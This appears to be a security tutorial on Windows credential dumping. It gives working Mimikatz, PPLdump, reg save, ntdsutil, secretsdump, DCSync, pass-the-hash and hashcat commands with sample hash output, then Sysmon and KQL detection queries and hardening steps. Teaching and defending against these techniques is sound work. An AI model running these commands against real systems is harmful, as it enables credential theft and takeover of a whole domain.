Skip to Content
Windows LSASS credential dumping techniques and memory analysis

Credential Dumping: LSASS and Windows Secrets

Windows credential dumping techniques targeting LSASS memory, SAM database, NTDS.dit, and cached credentials with defensive countermeasures.

Nov 3, 2026
Updated Nov 22, 2026
14 min read

Overview

LSASS (Local Security Authority Subsystem Service) is the Windows process responsible for enforcing security policy, authenticating users, and managing credentials. Because Windows SSPs (Security Support Providers) such as WDigest, Kerberos, NTLM, and LiveSSP register with LSASS at authentication time, the process holds plaintext passwords, NTLM hashes, Kerberos tickets, and DPAPI master keys for every active logon session in its working memory. Any process with PROCESS_VM_READ access to lsass.exe, or SeDebugPrivilege to obtain it, can extract this credential material directly.

There are many ways in. Credential material is present in lsass even when WDigest is "disabled" post-KB2871997 because the Negotiate SSP still caches NTLM hashes. A full memory dump transferred offline can be parsed without any EDR exposure on the target. The SAM database stores local account hashes encrypted with the SYSTEM hive boot key, accessible offline after a shadow copy or direct registry export. On domain controllers, NTDS.dit is the directory database containing every domain account hash. One successful dump gives you the whole domain.

Protected Process Light (PPL) and Credential Guard (formerly Windows Defender Credential Guard) make this harder but don't stop it. PPL prevents standard OpenProcess calls against lsass. Credential Guard moves credential material into a VSM (Virtual Secure Mode) enclave so NTLM hashes for interactive sessions are isolated from the NT kernel entirely. Both have documented bypasses, which vary by OS version.

Authorization required

Credential dumping without written authorization is a crime in most jurisdictions. Check your scope covers it before you start.

Impact

  • Full domain compromise from one NTDS.dit dump: every domain account hash, including krbtgt, which allows Golden Tickets
  • Pass-the-Hash lateral movement using NTLM hashes extracted from LSASS or SAM
  • Pass-the-Ticket lateral movement using Kerberos TGTs extracted from LSASS memory
  • Offline password cracking of NTLM hashes using hashcat with rockyou or custom wordlists
  • DPAPI master key recovery, which decrypts of browser-saved passwords, certificate private keys, and credential manager secrets
  • Persistence through krbtgt hash (Golden Ticket valid for default 10-year max ticket life)

Technical details

LSASS memory layout

LSASS loads multiple SSP DLLs at startup. Each SSP maintains its own credential cache structures in lsass address space:

SSPDataLocation
WDigestPlaintext password (cleartext when enabled)wdigest.dll internal cache
KerberosTGTs, service tickets, session keyskerberos.dll ticket cache
NTLMNT hash, LM hashmsv1_0.dll logon sessions
LiveSSPMicrosoft account credentialslivessp.dll
TSPKGTerminal Services credentialstspkg.dll
CredSSPDelegated credentialscredssp.dll

The sekurlsa module in Mimikatz walks these structures by locating signature patterns in lsass memory, then dereferencing linked list pointers to enumerate logon sessions and extract cached credential material.

LSASS as a protected process (PPL)

Starting with Windows 8.1 and Server 2012 R2, Microsoft allows lsass to run as a PPL. The RunAsPPL registry value under HKLM\SYSTEM\CurrentControlSet\Control\Lsa enables this. A PPL process has its integrity level and signer attribute validated by the kernel. A standard SYSTEM process attempting OpenProcess(PROCESS_VM_READ, ...) against a PPL lsass receives ERROR_ACCESS_DENIED because the requesting process does not hold a matching PPL certificate.

PPL bypass techniques fall into two categories: kernel driver injection (sign a driver or exploit a BYOVD), and abusing legitimate PPL-enabled processes (e.g., werfault.exe) to proxy access. PPLdump exploits an NtCreateProcessEx race condition to dump lsass without a signed driver on older Windows builds.

Credential Guard

Credential Guard uses Hyper-V-based virtualization to run the LSA Isolated service (lsaiso.exe) in VTL1 (Virtual Trust Level 1), separate from the normal OS at VTL0. NTLM and Kerberos credentials for interactive sessions are stored in VTL1 memory. The NT kernel at VTL0 cannot read VTL1 memory even with SYSTEM privileges.

With Credential Guard active, sekurlsa::logonpasswords still succeeds in listing logon sessions and extracting session metadata, but credential fields return null for domain accounts protected by the VSM enclave. The Negotiate SSP at VTL0 retains cached NTLM hashes for machine accounts and some service contexts, and those stay readable.

Attack tools

Direct LSASS access with Mimikatz

Get SeDebugPrivilege

Mimikatz must acquire SeDebugPrivilege before reading lsass. This privilege is held by default by local administrators but must be explicitly enabled for the process token.

Mimikatz privilege escalation
mimikatz # privilege::debug
Privilege '20' OK

If running as SYSTEM (from a service exploit), SeDebugPrivilege is present and can be enabled directly.

Dump all logon sessions

Extract all credentials from LSASS
mimikatz # sekurlsa::logonpasswords

Example output for a session with WDigest enabled:

Authentication Id : 0 ; 123456 (00000000:0001e240)
Session           : Interactive from 1
User Name         : jsmith
Domain            : CORP
Logon Server      : DC01
Logon Time        : 6/23/2026 9:14:32 AM
SID               : S-1-5-21-3874928736-2204358531-1942487662-1105
        msv :
         [00000003] Primary
         * Username : jsmith
         * Domain   : CORP
         * NTLM     : 32ed87bdb5fdc5e9cba88547376818d4
         * SHA1     : c23415... 
        wdigest :
         * Username : jsmith
         * Domain   : CORP
         * Password : Summer2024!
        kerberos :
         * Username : jsmith
         * Domain   : CORP.LOCAL
         * Password : (null)
        ssp :   KO
        credman :

Extract Kerberos tickets

Dump Kerberos tickets from memory
mimikatz # sekurlsa::tickets /export

Exports .kirbi files to the current directory for use with kerberos::ptt or Rubeus.

Dump LSASS without Mimikatz

Requires local administrator and debug privilege. Task Manager invokes MiniDumpWriteDump internally:

  1. Open Task Manager as Administrator
  2. Go to the Details tab
  3. Right-click lsass.exe → Create dump file
  4. Default output: %TEMP%\lsass.DMP

The dump file contains the full process memory, including all SSP credential caches. Transfer to attacker machine and parse offline.

PPL bypass

When RunAsPPL is enabled, the usual dump methods fail with access denied. Two ways around it:

PPLdump (itm4n) abuses an NtCreateProcessEx handle duplication path. Effective on Windows 10 before 21H2 with specific patch levels:

PPLdump usage
PPLdump.exe lsass.exe lsass.dmp

Check PPL status before attempting:

Check LSASS PPL status
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name RunAsPPL

RunAsPPL = 1 means PPL with the UEFI lock, and 2 means PPL without it (Windows 11 22H2 and later). Either way, on builds where PPLdump is patched you need a kernel driver.

SAM database extraction

The SAM hive stores local account NTLM hashes encrypted with the syskey derived from the SYSTEM hive. Both hives must be exported together:

Export SAM and SYSTEM hives
reg save HKLM\SAM C:\Windows\Temp\sam.hive
reg save HKLM\SYSTEM C:\Windows\Temp\system.hive

Transfer to attacker machine and parse with Impacket:

Parse SAM hive with secretsdump
impacket-secretsdump -sam sam.hive -system system.hive LOCAL

Output:

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x3c4a8b...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
jsmith:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

The SAM hive is locked while Windows is running. Alternative access paths: VSS shadow copy, HiveNightmare/SeriousSAM (CVE-2021-36934) on vulnerable Windows 10/11 builds where BUILTIN\Users had read access to the SAM hive.

NTDS.dit extraction

NTDS.dit is the Active Directory database on domain controllers. It contains all domain account credentials. The file is locked by ntdsa.dll while the DC is running; access requires either VSS or ntdsutil IFM:

Create an IFM snapshot with ntdsutil

Create IFM backup via ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ntds" q q

This creates a consistent VSS snapshot and copies ntds.dit and the SYSTEM registry hive to the target path without requiring you to stop AD DS.

Output tree:

C:\Windows\Temp\ntds\
├── Active Directory\
│   └── ntds.dit
└── registry\
    ├── SECURITY
    └── SYSTEM

Transfer and parse offline

Parse NTDS.dit with secretsdump
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL

For large environments, output to a file:

Redirect output to file
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL > domain_hashes.txt

Extract NT hashes only for hashcat:

Extract NT hashes for cracking
grep ':::' domain_hashes.txt | cut -d: -f4 | sort -u > nt_hashes.txt

Crack or pass the hashes

Pass-the-hash with NT hash using Impacket:

Pass-the-hash with extracted NT hash
impacket-psexec -hashes :32ed87bdb5fdc5e9cba88547376818d4 CORP/jsmith@192.168.1.10

Crack with hashcat (mode 1000 = NTLM):

Crack NTLM hashes with hashcat
hashcat -m 1000 nt_hashes.txt /usr/share/wordlists/rockyou.txt --rules /usr/share/hashcat/rules/best64.rule

Remote dump over the network

When you have administrative credentials but not interactive shell access:

Impacket's secretsdump can dump credentials remotely over SMB using the VSS or DRSUAPI (DCSync) methods:

Remote LSASS dump via SMB
impacket-secretsdump CORP/jsmith:'Summer2024!'@192.168.1.50

DCSync against a domain controller (requires domain admin or replication privileges):

DCSync all domain hashes
impacket-secretsdump -just-dc CORP/DomAdmin:'Password123!'@192.168.1.5
DCSync single account
impacket-secretsdump -just-dc-user Administrator CORP/DomAdmin:'Password123!'@192.168.1.5

Detection

LSASS memory access (T1003.001)

Sysmon Event ID 10 (ProcessAccess) is the main detection source. The following query fires on any process opening lsass with read or full access:

Sysmon EID 10 - LSASS access
SysmonEvent
| where EventID == 10
| where TargetImage endswith "\\lsass.exe"
| where GrantedAccess in (
    "0x1010",    // PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION
    "0x1410",    // common procdump mask
    "0x1f0fff",  // PROCESS_ALL_ACCESS
    "0x143a"     // Mimikatz sekurlsa mask
)
| where SourceImage !in (
    "C:\\Windows\\System32\\werfault.exe",
    "C:\\Windows\\System32\\wbem\\WmiPrvSE.exe",
    "C:\\ProgramFiles\\Windows Defender\\MsMpEng.exe"
)
| project TimeGenerated, Computer, SourceImage, TargetImage, GrantedAccess, CallTrace

CallTrace in Sysmon EID 10 identifies the call stack. Legitimate access shows paths through ntdll.dll and kernel32.dll. Mimikatz/procdump access typically shows UNKNOWN or unbacked memory regions if shellcode was used.

Windows Security event IDs for SAM and registry access:

Event IDDescription
4656Handle requested to an object (SAM or LSASS)
4663Attempt to access an object (read of the SAM registry key)
4624 + 4672Logon with sensitive privileges (SeDebugPrivilege assigned)
7036Volume Shadow Copy Service state change

NTDS.dit and ntdsutil detection

ntdsutil IFM creation
SecurityEvent
| where EventID == 4688
| where NewProcessName endswith "\\ntdsutil.exe"
| project TimeGenerated, Computer, SubjectUserName, CommandLine

VSS snapshot creation by non-backup processes is anomalous:

VSS snapshot creation
SecurityEvent
| where EventID == 4688
| where NewProcessName endswith "\\vssadmin.exe"
    or NewProcessName endswith "\\wbadmin.exe"
| where CommandLine has_any ("create shadow", "backup")
| project TimeGenerated, Computer, SubjectUserName, CommandLine

comsvcs.dll / rundll32 MiniDump

comsvcs MiniDump via rundll32
SysmonEvent
| where EventID == 1
| where Image endswith "\\rundll32.exe"
| where CommandLine has "MiniDump" or CommandLine has "comsvcs"
| project TimeGenerated, Computer, User, CommandLine, ParentImage

Remediation

Credential Guard does the most. Enable via Group Policy: Computer Configuration → Administrative Templates → System → Device Guard → Turn On Virtualization Based Security. Requires UEFI, Secure Boot, and 64-bit hardware with VT-x/AMD-V. Check current status:

Check Credential Guard status
(Get-WmiObject -Class Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).SecurityServicesRunning
# 2 = Credential Guard running

Run LSASS as PPL. With the UEFI lock (value 1), an attacker can't turn it off by editing the registry. The command below sets value 2, which has no UEFI lock:

Enable LSASS PPL via registry (reboot required)
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 2 /f

Value 2 enables PPL without the UEFI variable and is only enforced on Windows 11 22H2 and later. Use 1 to store the setting in a UEFI variable on devices with Secure Boot.

Disable WDigest plaintext caching on all systems running Windows 7 / Server 2008 R2 with KB2871997 applied:

Disable WDigest plaintext credential caching
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

Restrict SeDebugPrivilege to SYSTEM. By default, local admins have this privilege. Remove from the local Administrators group via Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment → Debug programs.

NTDS.dit hardening:

  • Restrict ntdsutil and vssadmin execution to authorized backup service accounts only
  • Enable advanced auditing on HKLM\SAM and HKLM\SYSTEM registry keys
  • Alert on DRSUAPI replication requests from non-DC machine accounts (DCSync detection)
  • Use a tiered admin model. Domain admin credentials should never touch Tier 1 or Tier 2 systems

Rotate krbtgt after any DC compromise. A single hash rotation is insufficient; Microsoft recommends two consecutive rotations 10 hours apart to invalidate all existing TGTs:

krbtgt hash rotation (Microsoft AD Tools)
# Reset-KrbtgtKeyInteractive.ps1 from Microsoft
.\Reset-KrbtgtKeyInteractive.ps1

References

MITRE ATT&CK techniques

Tools

Next steps

On this page